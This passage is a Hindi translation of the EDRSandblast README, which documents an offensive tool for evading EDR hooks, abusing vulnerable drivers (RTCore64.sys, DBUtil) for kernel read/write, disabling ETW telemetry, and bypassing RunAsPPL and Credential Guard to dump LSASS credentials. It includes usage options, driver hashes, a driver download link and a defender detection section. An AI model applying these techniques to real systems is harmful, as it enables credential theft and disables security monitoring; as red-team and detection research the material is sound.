इस तकनीक का मुख्य लाभ, नीचे दी गई सभी तकनीकों की तरह, यह है कि हुक कभी मिटाया नहीं जाता है, इसलिए EDR द्वारा हुक पर किया गया कोई भी अखंडता जाँच पास हो जानी चाहिए। हालांकि, इसके लिए पहले लिखने योग्य और फिर निष्पादन योग्य मेमोरी आवंटित करने की आवश्यकता होती है, जो शेलकोड आवंटन की सामान्य प्रक्रिया है, जिससे EDR का ध्यान आकर्षित होता है।

कार्यान्वयन विवरण के लिए, `unhook()` फ़ंक्शन के कोड पथ की जाँच करें जब `unhook_method` `UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE` हो। कृपया याद रखें कि यह तकनीक केवल हमारे कार्यान्वयन में प्रदर्शित की गई है और अंततः, इसका उपयोग मेमोरी से **हुक हटाने** के लिए किया जाता है, जैसा कि नीचे दी गई हर तकनीक में होता है।

#### स्वयं EDR के ट्रैम्पोलिन का उपयोग करके हुक को बायपास करना
EDR उत्पाद को, अपने हुक के काम करने के लिए, उन ऑपकोडों को मेमोरी में कहीं सहेजना होगा जिन्हें उसने हटाया है। सबसे बुरी (*या "बेहतर", हमलावर के दृष्टिकोण से*) बात यह है कि मूल निर्देशों का प्रभावी ढंग से उपयोग करने के लिए EDR ने संभवतः कॉल को इंटरसेप्ट करने के बाद मूल फ़ंक्शन को निष्पादित करने के लिए स्वयं एक *ट्रैम्पोलिन* कहीं आवंटित किया होगा।

इस ट्रैम्पोलिन को खोजा जा सकता है और हुक किए गए फ़ंक्शन के प्रतिस्थापन के रूप में उपयोग किया जा सकता है, बिना निष्पादन योग्य मेमोरी आवंटित करने, या `VirtualQuery` के अलावा किसी भी API को कॉल करने की आवश्यकता के, जो संभवतः एक हानिरहित फ़ंक्शन होने के कारण मॉनिटर नहीं किया जाता है।

मेमोरी में ट्रैम्पोलिन खोजने के लिए, हम `VirtualQuery` का उपयोग करके पूरे एड्रेस स्पेस को ब्राउज़ करते हैं, कमिटेड और निष्पादन योग्य मेमोरी की तलाश करते हैं। ऐसे मेमोरी के प्रत्येक क्षेत्र के लिए, हम एक जंप इंस्ट्रक्शन खोजने के लिए इसे स्कैन करते हैं जो ओवरराइट किए गए निर्देशों के बाद वाले एड्रेस को लक्षित करता है (हमारे पिछले उदाहरण में `NtProtectVirtualMemory+8`)। फिर ट्रैम्पोलिन का उपयोग हुक को ट्रिगर किए बिना हुक किए गए फ़ंक्शन को कॉल करने के लिए किया जा सकता है।

यह तकनीक आश्चर्यजनक रूप से अच्छी तरह से काम करती है क्योंकि यह परीक्षण किए गए EDR पर लगभग सभी ट्रैम्पोलिन को पुनर्प्राप्त कर लेती है। कार्यान्वयन विवरण के लिए, `unhook()` फ़ंक्शन के कोड पथ की जाँच करें जब `unhook_method` `UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE` हो।

#### डुप्लिकेट DLL का उपयोग करके हुक को बायपास करना
`NtProtectVirtualMemory` फ़ंक्शन के एक अनमॉनिटर किए गए संस्करण तक पहुँच प्राप्त करने का एक और सरल तरीका है कि प्रक्रिया एड्रेस स्पेस में `ntdll.dll` लाइब्रेरी का एक डुप्लिकेट संस्करण लोड किया जाए। चूँकि एक ही प्रक्रिया में दो समान DLL लोड किए जा सकते हैं, बशर्ते उनके अलग-अलग नाम हों, हम बस वैध `ntdll.dll` फ़ाइल को किसी अन्य स्थान पर कॉपी कर सकते हैं, `LoadLibrary` का उपयोग करके इसे लोड कर सकते हैं (या लोडिंग प्रक्रिया को पुनः कार्यान्वित कर सकते हैं), और उदाहरण के लिए `GetProcAddress` का उपयोग करके फ़ंक्शन तक पहुँच सकते हैं।

यह तकनीक समझने और कार्यान्वित करने में बहुत सरल है, और इसकी सफलता की एक अच्छी संभावना है, क्योंकि अधिकांश EDR उत्पाद प्रक्रिया चलने के बाद नए लोड किए गए DLL पर हुक को पुनः स्थापित नहीं करते हैं। हालाँकि, इसका प्रमुख दोष यह है कि Microsoft द्वारा हस्ताक्षरित बाइनरी को एक अलग नाम के तहत कॉपी करना अक्सर EDR उत्पादों द्वारा स्वयं संदिग्ध माना जाता है।

यह तकनीक फिर भी `EDRSandblast` में लागू की गई है। कार्यान्वयन विवरण के लिए, `unhook()` फ़ंक्शन के कोड पथ की जाँच करें जब `unhook_method` `UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY` हो।

#### प्रत्यक्ष सिस्कॉल का उपयोग करके हुक को बायपास करना
सिस्टम कॉल से संबंधित फ़ंक्शनों का उपयोग करने के लिए, एक प्रोग्राम सिस्कॉल को (असेंबली में) पुनः कार्यान्वित कर सकता है ताकि वह `ntdll.dll` में कोड को वास्तव में छुए बिना संबंधित OS सुविधाओं को कॉल कर सके, जो EDR द्वारा मॉनिटर किया जा सकता है। यह `ntdll.dll` में सिस्कॉल फ़ंक्शनों पर किए गए किसी भी यूज़रलैंड हुकिंग को पूरी तरह से बायपास करता है।

हालाँकि, इसके कुछ नुकसान हैं। पहला, इसका मतलब है कि प्रोग्राम को उन फ़ंक्शनों के सिस्कॉल नंबरों की सूची जानने में सक्षम होना चाहिए जिनकी उसे आवश्यकता है, जो Windows के प्रत्येक संस्करण के लिए बदलते हैं। यह फिर भी कई ह्यूरिस्टिक्स को लागू करके कम किया जाता है जो Windows NT के सभी पिछले संस्करणों में काम करने के लिए जाने जाते हैं (`ntdll` के `Zw*` निर्यात को सॉर्ट करना, संबंधित `ntdll` फ़ंक्शन में `mov rax, #syscall_number` निर्देश खोजना, आदि), और यह जाँचना कि वे सभी एक ही परिणाम लौटाते हैं (अधिक विवरण के लिए `Syscalls.c` देखें)।

साथ ही, ऐसे फ़ंक्शन जो तकनीकी रूप से सिस्कॉल नहीं हैं (जैसे `LoadLibraryX`/`LdrLoadDLL`) भी मॉनिटर किए जा सकते हैं, और उन्हें सिस्कॉल का उपयोग करके आसानी से पुनः कार्यान्वित नहीं किया जा सकता है।

प्रत्यक्ष सिस्कॉल तकनीक EDRSandblast में लागू की गई है। जैसा कि पहले कहा गया है, इसका उपयोग केवल सुरक्षित रूप से `NtProtectVirtualMemory` को निष्पादित करने और सभी पहचाने गए हुक को हटाने के लिए किया जाता है।

कार्यान्वयन विवरण के लिए, `unhook()` फ़ंक्शन के कोड पथ की जाँच करें जब `unhook_method` `UNHOOK_WITH_DIRECT_SYSCALL` हो।

### कमजोर ड्राइवरों का शोषण
जैसा कि पहले कहा गया है, हर वह कार्रवाई जिसमें कर्नेल मेमोरी रीड या राइट की आवश्यकता होती है, वह इस प्रिमिटिव को देने के लिए एक कमजोर ड्राइवर पर निर्भर करती है। EDRSanblast में, एक नए ड्राइवर के लिए समर्थन जोड़ना जो रीड/राइट प्रिमिटिव प्रदान करता है, "आसानी से" किया जा सकता है, केवल तीन फ़ंक्शनों को लागू करने की आवश्यकता है:
* एक `ReadMemoryPrimitive_DRIVERNAME(SIZE_T Size, DWORD64 Address, PVOID Buffer)` फ़ंक्शन, जो कर्नेल एड्रेस `Address` से यूज़रलैंड बफर `Buffer` में `Size` बाइट्स कॉपी करता है;
* एक `WriteMemoryPrimitive_DRIVERNAME(SIZE_T Size, DWORD64 Address, PVOID Buffer)` फ़ंक्शन, जो यूज़रलैंड बफर `Buffer` से कर्नेल एड्रेस `Address` में `Size` बाइट्स कॉपी करता है;
* एक `CloseDriverHandle_DRIVERNAME()` फ़ंक्शन जो सुनिश्चित करता है कि ड्राइवर के सभी हैंडल बंद हैं (अनइंस्टॉल ऑपरेशन से पहले आवश्यक है जो ड्राइवर-अज्ञेयवादी है, फिलहाल)।

उदाहरण के लिए, वर्तमान में EDRSandblast द्वारा दो ड्राइवर समर्थित हैं, `RTCore64.sys` (SHA256: `01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD`) और `DBUtils_2_3.sys` (SHA256: `0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5`)। यदि उपयोग किए जाने वाले कमजोर ड्राइवर को बदलने की आवश्यकता है, या यदि कोई नया लागू किया गया है, तो `KernelMemoryPrimitives.h` में निम्नलिखित कोड को अपडेट किया जाना चाहिए।```C
#define RTCore 0
#define DBUtil 1
// Select the driver to use with the following #define
#define VULN_DRIVER RTCore

#if VULN_DRIVER == RTCore
#define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys")
#define CloseDriverHandle CloseDriverHandle_RTCore
#define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore
#define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore
#elif VULN_DRIVER == DBUtil
#define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys")
#define CloseDriverHandle CloseDriverHandle_DBUtil
#define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil
#define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil
#endif

EDR ड्राइवर और प्रक्रियाओं का पता लगाना

वर्तमान में यह निर्धारित करने के लिए कई तकनीकों का उपयोग किया जाता है कि कोई विशिष्ट ड्राइवर या प्रक्रिया किसी EDR उत्पाद से संबंधित है या नहीं।

पहला, ड्राइवर का नाम आसानी से इस उद्देश्य के लिए उपयोग किया जा सकता है। वास्तव में, Microsoft उन सभी ड्राइवरों के लिए "Altitudes" नामक विशिष्ट संख्याएँ आवंटित करता है जिन्हें कर्नेल में कॉलबैक सम्मिलित करने की आवश्यकता होती है। यह कॉलबैक निष्पादन में एक नियतात्मक क्रम की अनुमति देता है, जो पंजीकरण क्रम से स्वतंत्र है, लेकिन केवल ड्राइवर के उपयोग पर आधारित है। उन ड्राइवरों की एक सूची (विक्रेताओं की) जिन्होंने विशिष्ट altitude आरक्षित की है, MSDN पर पाई जा सकती है। परिणामस्वरूप, Microsoft द्वारा सुरक्षा उत्पादों से जुड़े सुरक्षा ड्राइवर नामों की लगभग व्यापक सूची प्रदान की जाती है, मुख्यतः "FSFilter Anti-Virus" और "FSFilter Activity Monitor" सूचियों में। ड्राइवर नामों की ये सूचियाँ EDRSandblast में अंतर्निहित हैं, साथ ही अतिरिक्त योगदान भी।

इसके अलावा, EDR निष्पादन योग्य और DLL अक्सर विक्रेता के हस्ताक्षर प्रमाणपत्र का उपयोग करके डिजिटल रूप से हस्ताक्षरित होते हैं। इस प्रकार, किसी प्रक्रिया से संबद्ध निष्पादन योग्य या DLL के हस्ताक्षरकर्ता की जाँच करने से EDR उत्पादों की त्वरित पहचान हो सकती है।

इसके अलावा, कर्नेल स्पेस में लोड होने की अनुमति के लिए ड्राइवरों को सीधे Microsoft द्वारा हस्ताक्षरित होना चाहिए। जबकि ड्राइवर का विक्रेता सीधे ड्राइवर का हस्ताक्षरकर्ता नहीं है, ऐसा प्रतीत होता है कि विक्रेता का नाम अभी भी हस्ताक्षर की एक विशेषता के अंदर शामिल है; फिर भी इस पहचान तकनीक की जांच और कार्यान्वयन किया जाना बाकी है।

अंत में, जब EDRSandblast के लिए अज्ञात किसी EDR का सामना करना पड़ता है, तो सबसे अच्छा तरीका है कि टूल को "ऑडिट" मोड में चलाएं, और कर्नेल कॉलबैक पंजीकृत करने वाले ड्राइवरों की सूची देखें; फिर ड्राइवर का नाम सूची में जोड़ा जा सकता है, टूल को पुनः संकलित और पुनः चलाया जा सकता है।

RunAsPPL बाईपास

Local Security Authority (LSA) Protection तंत्र, जो पहली बार Windows 8.1 और Windows Server 2012 R2 में पेश किया गया था, LSASS प्रक्रिया तक पहुंच को प्रतिबंधित करने के लिए Protected Process Light (PPL) तकनीक का लाभ उठाता है। PPL सुरक्षा संरक्षित प्रक्रियाओं के मेमोरी इंजेक्शन या मेमोरी डंपिंग जैसे संचालन को नियंत्रित और प्रतिबंधित करती है, यहां तक कि SeDebugPrivilege विशेषाधिकार वाली प्रक्रिया से भी। प्रक्रिया सुरक्षा मॉडल के तहत, केवल उच्च सुरक्षा स्तरों वाली प्रक्रियाएँ संरक्षित प्रक्रियाओं पर संचालन कर सकती हैं।

Windows कर्नेल द्वारा कर्नेल मेमोरी में किसी प्रक्रिया का प्रतिनिधित्व करने के लिए उपयोग की जाने वाली _EPROCESS संरचना में एक _PS_PROTECTION फ़ील्ड शामिल है जो अपने Type (_PS_PROTECTED_TYPE) और Signer (_PS_PROTECTED_SIGNER) विशेषताओं के माध्यम से किसी प्रक्रिया के सुरक्षा स्तर को परिभाषित करती है।

कर्नेल मेमोरी में लिखकर, EDRSandblast प्रक्रिया अपने स्वयं के सुरक्षा स्तर को PsProtectedSignerWinTcb-Light में अपग्रेड करने में सक्षम है। यह स्तर LSASS प्रक्रिया मेमोरी को डंप करने के लिए पर्याप्त है, क्योंकि यह RunAsPPL तंत्र के साथ चलने वाली LSASS प्रक्रिया के सुरक्षा स्तर PsProtectedSignerLsa-Light पर "हावी" होता है।

EDRSandBlast स्व-सुरक्षा को निम्नानुसार लागू करता है:

वर्तमान प्रक्रिया के लिए एक हैंडल खोलें
वर्तमान प्रक्रिया पर खोले गए हैंडल और कर्नेल मेमोरी में वर्तमान प्रक्रिया के EPROCESS संरचना का पता खोजने के लिए NtQuerySystemInformation का उपयोग करके सभी सिस्टम हैंडल को लीक करें
कर्नेल मेमोरी में वर्तमान प्रक्रिया के _PS_PROTECTION फ़ील्ड को अधिलेखित करने के लिए Micro-Star MSI Afterburner ड्राइवर की मनमानी पढ़ने/लिखने की कमजोरी का उपयोग करें। _PS_PROTECTION फ़ील्ड के ऑफसेट, जो EPROCESS संरचना के सापेक्ष हैं (उपयोग में आने वाले ntoskrnl संस्करण द्वारा परिभाषित), NtoskrnlOffsets.csv फ़ाइल में गणना किए जाते हैं।

Credential Guard बाईपास

Microsoft Credential Guard एक वर्चुअलाइजेशन-आधारित पृथक्करण तकनीक है, जिसे Microsoft के Windows 10 (एंटरप्राइज संस्करण) में पेश किया गया है, जो LSASS प्रक्रिया में संग्रहीत क्रेडेंशियल्स तक सीधी पहुंच को रोकता है।

जब Credentials Guard सक्रिय होता है, तो Virtual Secure Mode में एक LSAIso (LSA Isolated) प्रक्रिया बनाई जाती है, जो मेमोरी में डेटा की अतिरिक्त सुरक्षा प्रदान करने के लिए CPU के वर्चुअलाइजेशन एक्सटेंशन का लाभ उठाती है। LSAIso प्रक्रिया तक पहुंच NT AUTHORITY\SYSTEM सुरक्षा संदर्भ वाली पहुंच के लिए भी प्रतिबंधित है। हैश प्रोसेस करते समय, LSA प्रक्रिया LSAIso प्रक्रिया के लिए एक RPC कॉल करती है, और जारी रखने के लिए LSAIso परिणाम की प्रतीक्षा करती है। इस प्रकार, LSASS प्रक्रिया में कोई रहस्य नहीं होगा और इसके स्थान पर LSA Isolated Data संग्रहीत होगी।

जैसा कि N4kedTurtle द्वारा किए गए मूल शोध में बताया गया है: "Wdigest को मेमोरी में g_fParameter_useLogonCredential और g_IsCredGuardEnabled के मानों को पैच करके Credential Guard वाले सिस्टम पर सक्षम किया जा सकता है"। Wdigest के सक्रियण के परिणामस्वरूप किसी भी नए इंटरैक्टिव लॉगऑन के लिए LSASS मेमोरी में स्पष्ट पाठ क्रेडेंशियल संग्रहीत होंगे (सिस्टम को रिबूट किए बिना)। इस तकनीक के बारे में अधिक जानकारी के लिए मूल शोध ब्लॉग पोस्ट देखें।

EDRSandBlast बस मूल PoC को थोड़ा और opsec-अनुकूल बनाता है और g_fParameter_useLogonCredential और g_IsCredGuardEnabled के लिए गणना किए गए ऑफसेट के माध्यम से wdigest.dll के कई संस्करणों के लिए समर्थन प्रदान करता है।

ऑफसेट पुनर्प्राप्ति

कर्नेल मॉनिटरिंग बाइपास संचालन को विश्वसनीय रूप से करने के लिए, EDRSandblast को यह जानना होगा कि कर्नेल मेमोरी को कहाँ पढ़ना और लिखना है। यह लक्षित छवि (ntoskrnl.exe, wdigest.dll) के अंदर वैश्विक चरों के ऑफसेट के साथ-साथ संरचनाओं में विशिष्ट फ़ील्ड के ऑफसेट का उपयोग करके किया जाता है, जिनकी परिभाषाएँ Microsoft द्वारा प्रतीक फ़ाइलों में प्रकाशित की जाती हैं। ये ऑफसेट लक्षित छवियों के प्रत्येक बिल्ड के लिए विशिष्ट होते हैं, और किसी विशिष्ट प्लेटफ़ॉर्म संस्करण के लिए कम से कम एक बार एकत्र किए जाने चाहिए।

EDRSandblast द्वारा उपयोग की जाने वाली संरचनाओं और चरों का पता लगाने के लिए पैटर्न खोजों के बजाय "हार्डकोडेड" ऑफसेट का उपयोग करने का विकल्प इस तथ्य से उचित है कि कर्नेल कॉलबैक जोड़ने/हटाने के लिए जिम्मेदार अप्रलेखित API परिवर्तन के अधीन हैं और गलत पते पर कर्नेल मेमोरी को पढ़ने या लिखने का कोई भी प्रयास Bug Check (Blue Screen of Death) का कारण बन सकता है (और अक्सर होगा)। मशीन क्रैश लाल-टीमिंग और सामान्य पैठ परीक्षण दोनों परिदृश्यों में स्वीकार्य नहीं है, क्योंकि क्रैश होने वाली मशीन डिफेंडरों द्वारा अत्यधिक दृश्यमान होती है, और हमले के समय मेमोरी में मौजूद कोई भी क्रेडेंशियल खो जाएगा।

Windows के प्रत्येक विशिष्ट संस्करण के लिए ऑफसेट प्राप्त करने के लिए, दो दृष्टिकोण लागू किए गए हैं।

मैनुअल ऑफसेट पुनर्प्राप्ति

आवश्यक ntoskrnl.exe और wdigest.dll ऑफसेट को प्रदान की गई ExtractOffsets.py Python स्क्रिप्ट का उपयोग करके निकाला जा सकता है, जो PDB फ़ाइलों से प्रतीकों को डाउनलोड और पार्स करने और उनसे आवश्यक ऑफसेट निकालने के लिए radare2 और r2pipe पर निर्भर करती है। फिर ऑफसेट को बाद में EDRSandblast द्वारा उपयोग के लिए CSV फ़ाइलों में संग्रहीत किया जाता है।

बॉक्स से बाहर Windows बिल्ड की एक विस्तृत श्रृंखला का समर्थन करने के लिए, ntoskrnl.exe और wdigest.dll बाइनरी के कई संस्करण Winbindex द्वारा संदर्भित हैं, और ExtractOffsets.py द्वारा स्वचालित रूप से डाउनलोड किए जा सकते हैं (और उनके ऑफसेट निकाले जा सकते हैं)। यह लगभग सभी फ़ाइलों से ऑफसेट निकालने की अनुमति देता है जो कभी Windows अद्यतन पैकेजों में प्रकाशित हुई थीं (आज तक 450+ ntoskrnl.exe और 30+ wdigest.dll संस्करण उपलब्ध और पूर्व-गणना किए गए हैं)।

स्वचालित ऑफसेट पुनर्प्राप्ति और अद्यतन

EDRSandBlast में एक अतिरिक्त विकल्प लागू किया गया है ताकि प्रोग्राम स्वयं Microsoft Symbol Server से आवश्यक .pdb फ़ाइलें डाउनलोड कर सके, आवश्यक ऑफसेट निकाल सके, और यदि मौजूद हों तो संबंधित .csv फ़ाइलों को भी अपडेट कर सके।

--internet विकल्प का उपयोग करने से टूल निष्पादन बहुत सरल हो जाता है, जबकि एक अतिरिक्त OpSec जोखिम पेश होता है, क्योंकि प्रक्रिया के दौरान एक .pdb फ़ाइल डाउनलोड की जाती है और डिस्क पर छोड़ दी जाती है। प्रतीक डेटाबेस को पार्स करने के लिए उपयोग किए जाने वाले dbghelp.dll फ़ंक्शन के लिए यह आवश्यक है; हालांकि, इस आवश्यकता को हटाने और टूल के पदचिह्न को कम करने के लिए भविष्य में पूर्ण इन-मेमोरी PDB पार्सिंग लागू की जा सकती है।

उपयोग

कमजोर RTCore64.sys ड्राइवर यहाँ से प्राप्त किया जा सकता है:``` http://download-eu2.guru3d.com/afterburner/%5BGuru3D.com%5D-MSIAfterburnerSetup462Beta2.zip

### त्वरित उपयोग```
Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard> [--usermode [--unhook-method <N>]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--add-dll <dll name or path>]* [-o | --dump-output <DUMP_FILE>]

विकल्प```

-h | --help Show this help message and exit. -v | --verbose Enable a more verbose output.

Actions mode:

    audit           Display the user-land hooks and / or Kernel callbacks without taking actions.
    dump            Dump the LSASS process, by default as 'lsass' in the current directory or at the
                    specified file using -o | --output <DUMP_FILE>.
    cmd             Open a cmd.exe prompt.
    credguard       Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if
                    Credential Guard is enabled on the host. No kernel-land actions required.

--usermode Perform user-land operations (DLL unhooking). --kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).

--unhook-method Choose the userland un-hooking technique, from the following:

    1 (Default)     Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all
                    present userland hooks.
    2               Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by
                    allocating an executable trampoline jumping over the hook, and remove all present
                    userland hooks.
    3               Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'
                    (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland
                    hooks.
    4               Loads an additional version of ntdll library into memory, and use the (hopefully
                    unmonitored) version of NtProtectVirtualMemory present in this library to remove all
                    present userland hooks.
    5               Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,
                    and uses it to remove all detected hooks

Other options:

--dont-unload-driver Keep the vulnerable driver installed on the host Default to automatically unsinstall the driver. --dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed. Default to restore the callbacks.

--driver <RTCore64.sys> Path to the vulnerable driver file. Default to 'RTCore64.sys' in the current directory. --service <SERVICE_NAME> Name of the vulnerable service to intall / start.

--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets. Default to 'NtoskrnlOffsets.csv' in the current directory. --wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets (only for the 'credguard' mode). Default to 'WdigestOffsets.csv' in the current directory.

--add-dll Loads arbitrary libraries into the process' address space, before starting anything. This can be useful to audit userland hooking for DLL that are not loaded by default by this program. Use this option multiple times to load multiple DLLs all at once. Example of interesting DLLs to look at: user32.dll, ole32.dll, crypt32.dll, samcli.dll, winhttp.dll, urlmon.dll, secur32.dll, shell32.dll...

-o | --output <DUMP_FILE> Output path to the dump file that will be generated by the 'dump' mode. Default to 'lsass' in the current directory.

-i | --internet Enables automatic symbols download from Microsoft Symbol Server If a corresponding *Offsets.csv file exists, appends the downloaded offsets to the file for later use OpSec warning: downloads and drops on disk a PDB file for ntoskrnl.exe and/or wdigest.dll

### बिल्ड

`EDRSandBlast` (केवल x64) Visual Studio 2019 (Windows SDK
संस्करण: `10.0.19041.0` और Plateform Toolset: `Visual Studio 2019 (v142)`) पर बनाया गया था।

### ExtractOffsets.py का उपयोग

ध्यान दें कि `ExtractOffsets.py` का केवल Windows पर परीक्षण किया गया है।```
# Installation of Python dependencies
pip.exe install -m .\requirements.txt

# Script usage
ExtractOffsets.py [-h] -i INPUT [-o OUTPUT] [-d] mode

positional arguments:
  mode                  ntoskrnl or wdigest. Mode to download and extract offsets for either ntoskrnl or wdigest

optional arguments:
  -h, --help            show this help message and exit
  -i INPUT, --input INPUT
                        Single file or directory containing ntoskrnl.exe / wdigest.dll to extract offsets from.
                        If in download mode, the PE downloaded from MS symbols servers will be placed in this folder.
  -o OUTPUT, --output OUTPUT
                        CSV file to write offsets to. If the specified file already exists, only new ntoskrnl versions will be
                        downloaded / analyzed.
                        Defaults to NtoskrnlOffsets.csv / WdigestOffsets.csv in the current folder.
  -d, --download         Flag to download the PE from Microsoft servers using list of versions from winbindex.m417z.com.

पता लगाना

डिफ़ेंडर (EDR विक्रेता, Microsoft, EDR के टेलीमेट्री देख रहे SOC विश्लेषक, आदि) के दृष्टिकोण से, इस प्रकार की तकनीकों का पता लगाने या रोकने के लिए कई संकेतकों का उपयोग किया जा सकता है।

ड्राइवर व्हाइटलिस्टिंग

चूँकि टूल द्वारा कर्नेल-मोड मेमोरी में किया गया प्रत्येक कार्य मनमाना सामग्री पढ़ने/लिखने के लिए एक कमजोर ड्राइवर पर निर्भर करता है, EDR उत्पाद (या SOC विश्लेषकों) द्वारा ड्राइवर लोडिंग ईवेंट्स की गहन जाँच की जानी चाहिए, और किसी भी असामान्य ड्राइवर लोडिंग पर अलर्ट उठाया जाना चाहिए, या ज्ञात कमजोर ड्राइवरों को ब्लॉक भी किया जाना चाहिए। यह बाद वाला दृष्टिकोण [Microsoft द्वारा स्वयं अनुशंसित] है (https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules): कोई भी HVCI (हाइपरवाइज़र-संरक्षित कोड अखंडता) सक्षम Windows डिवाइस एक ड्राइवर ब्लॉकलिस्ट एम्बेड करता है, और यह धीरे-धीरे Windows पर डिफ़ॉल्ट व्यवहार बन जाएगा (यह Windows 11 पर पहले से ही है)।

कर्नेल-मेमोरी अखंडता जाँच

चूँकि कोई हमलावर मेमोरी में समान कार्य करने के लिए अभी भी एक अज्ञात कमजोर ड्राइवर का उपयोग कर सकता है, EDR ड्राइवर समय-समय पर जाँच सकता है कि इसके कर्नेल कॉलबैक अभी भी पंजीकृत हैं, या तो सीधे कर्नेल मेमोरी का निरीक्षण करके (जैसे यह टूल करता है), या केवल ईवेंट्स (प्रक्रिया निर्माण, थ्रेड निर्माण, इमेज लोडिंग, आदि) को ट्रिगर करके और जाँच करके कि कॉलबैक फ़ंक्शन वास्तव में कार्यकारी कर्नेल द्वारा कॉल किए गए हैं।

एक साइड नोट के रूप में, इस प्रकार की डेटा संरचना को हाल ही के [कर्नेल डेटा संरक्षण (KDP)] (https://www.microsoft.com/security/blog/2020/07/08/introducing-kernel-data-protection-a-new-platform-security-technology-for-preventing-data-corruption/) तंत्र के माध्यम से संरक्षित किया जा सकता है, जो वर्चुअल आधारित सुरक्षा पर निर्भर करता है, ताकि कर्नेल कॉलबैक ऐरे को सही APIs को कॉल किए बिना गैर-लेखनीय बनाया जा सके।

यही तर्क संवेदनशील ETW वेरिएबल्स जैसे कि ProviderEnableInfo पर लागू हो सकता है, जिसका दुरुपयोग इस टूल द्वारा ETW खतरा खुफिया ईवेंट उत्पादन को अक्षम करने के लिए किया गया है।

यूज़र-मोड पता लगाना

पहला संकेतक कि कोई प्रक्रिया सक्रिय रूप से उपयोगकर्ता-भूमि हुकिंग से बचने का प्रयास कर रही है, लोड किए गए मॉड्यूल के अनुरूप प्रत्येक DLL तक फ़ाइल एक्सेस है; सामान्य निष्पादन में, एक उपयोगकर्ता-भूमि प्रक्रिया को शायद ही कभी LoadLibrary कॉल के बाहर DLL फ़ाइलों को पढ़ने की आवश्यकता होती है, विशेष रूप से ntdll.dll।

API हुकिंग को बायपास होने से बचाने के लिए, EDR उत्पाद समय-समय पर जाँच सकते हैं कि प्रत्येक मॉनिटर की गई प्रक्रिया के अंदर मेमोरी में हुक बदले नहीं गए हैं।

अंत में, हुकिंग बायपास का पता लगाने के लिए (एक ट्रैम्पोलिन का दुरुपयोग करना, डायरेक्ट सिस्कॉल का उपयोग करना, आदि) जो हुक हटाने का अर्थ नहीं है, EDR उत्पाद दुरुपयोग किए गए सिस्कॉल से संबद्ध कर्नेल कॉलबैक (जैसे NtCreateProcess सिस्कॉल के लिए PsCreateProcessNotifyRoutine, NtOpenProcess सिस्कॉल के लिए ObRegisterCallbacks, आदि) पर भरोसा कर सकते हैं, और यह निर्धारित करने के लिए उपयोगकर्ता-मोड कॉल-स्टैक विश्लेषण कर सकते हैं कि सिस्कॉल एक सामान्य पथ (kernel32.dll -> ntdll.dll -> syscall) से या एक असामान्य पथ (जैसे program.exe -> direct syscall) से ट्रिगर किया गया था।

स्वीकृतियाँ

कर्नेल कॉलबैक गणना और निष्कासन: https://github.com/br-sn/CheekyBlinder
कमजोर Micro-Star MSI Afterburner ड्राइवर के माध्यम से कर्नेल मेमोरी पढ़ने/लिखने के प्रिमिटिव: https://github.com/Barakat/CVE-2019-16098/
ETW खतरा खुफिया प्रदाता को अक्षम करना: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
ड्राइवर स्थापित करना / हटाना: https://github.com/gentilkiwi/mimikatz
EDR ड्राइवर नामों की प्रारंभिक सूची: https://github.com/SadProcessor/SomeStuff/blob/master/Invoke-EDRCheck.ps1
LSASS मेमोरी पैचिंग के माध्यम से Wdigest को पुनः सक्षम करके क्रेडेंशियल गार्ड बायपास: https://teamhydra.blog/2020/08/25/bypassing-credential-guard/

लेखक

Thomas DIOT (Qazeer) Maxime MEIGNAN (themaks)

लाइसेंस

CC BY 4.0 लाइसेंस - https://creativecommons.org/licenses/by/4.0/

EDRSandblast-GodFault

सबसे लोकप्रिय

EDRSandblast-GodFault

उदाहरण आउटपुट```

================================================== Starting a new unmonitored process...

ऑब्जेक्ट कॉलबैक को पूरी तरह से अक्षम करना

ETW Microsoft-Windows-Threat-Intelligence प्रदाता के निष्क्रियकरण के माध्यम से EDR बाईपास

यूज़रलैंड हुकिंग बाईपास के माध्यम से EDR बाईपास

यूज़रलैंड हुकिंग कैसे काम करता है

हुक का पता लगाना

हुक बायपास ... अनहुकिंग का उपयोग करके

कस्टम ट्रैम्पोलिन का उपयोग करके हुक बायपास

EDR ड्राइवर और प्रक्रियाओं का पता लगाना

RunAsPPL बाईपास

Credential Guard बाईपास

ऑफसेट पुनर्प्राप्ति

मैनुअल ऑफसेट पुनर्प्राप्ति

स्वचालित ऑफसेट पुनर्प्राप्ति और अद्यतन

उपयोग

विकल्प```

पता लगाना

ड्राइवर व्हाइटलिस्टिंग

कर्नेल-मेमोरी अखंडता जाँच

यूज़र-मोड पता लगाना

स्वीकृतियाँ

लेखक

लाइसेंस